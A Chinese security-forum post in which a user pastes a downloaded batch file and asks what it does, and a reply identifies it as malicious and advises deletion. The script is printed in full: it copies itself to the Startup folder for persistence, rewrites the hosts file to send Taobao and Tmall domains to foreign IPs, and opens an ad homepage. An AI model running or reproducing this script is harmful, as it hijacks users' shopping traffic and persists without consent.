瑞星卡卡安全论坛

下载了个bat文件，谁帮我看下内容是什么意思？

%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
cls
@echo off
copy /y %0 "%ALLUSERSPROFILE%\����ʼ���˵�\����\���\autoexec.bat"
SET PATH=%SystemRoot%\system32\drivers\etc\hosts
cd %SystemRoot%\system32
setlocal enabledelayedexpansion
set "PATH=%PATH:"=%"
for %%i in ("%PATH%") do set PATH=%%~fi
echo.
set replaced=top.taobao.com
echo.
set all=
for /f "delims=" %%i in ('type "%PATH%"') do (
    set str=%%i
    set "str=!str:%replaced%=%all%!"
    echo !str!>>"%PATH%"_tmp.txt
)
move "%PATH%"_tmp.txt "%PATH%" 
findstr "223.255.145.212" %PATH% && goto yes2   
findstr "174.139.240.5" %PATH% && goto yes 
findstr "174.139.240.4" %PATH% && goto yes2
goto add 
exit
:: set add******************************************** 
:add 
echo. >> %PATH%
::echo %put% >> %PATH%
echo 50.6.142.221 taobao.com >> %PATH%
echo 50.6.142.221 jie.taobao.com >> %PATH%
echo 174.139.17.173 list.tmall.com >> %PATH%
echo 208.98.50.83 search.taobao.com >> %PATH%
echo 208.98.50.83 s.taobao.com >> %PATH%
echo 208.98.50.83 list.taobao.com >> %PATH%
echo 208.98.50.83 search1.taobao.com >> %PATH% 
start  http://www.2345.com/?kksou
exit 
:: set del******************************************** 
:yes
setlocal enabledelayedexpansion
set "PATH=%PATH:"=%"
for %%i in ("%PATH%") do set PATH=%%~fi
echo.
set replaced=174.139.240.5
echo.
set all=223.255.145.212
for /f "delims=" %%i in ('type "%PATH%"') do (
    set str=%%i
    set "str=!str:%replaced%=%all%!"
    echo !str!>>"%PATH%"_tmp.txt
)
move "%PATH%"_tmp.txt "%PATH%"
exit
:yes2

前面那么多%%a 是什么意思，好像是更改我浏览器主页的么，能帮具体说明每句的功能么。

用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)

附件: 柏芝绝密资料.txt

改hosts文件，改主页，实为恶意代码。

建议删除之。

要想知道全部命令行的意思，进入命令提示符窗口，按F1自学。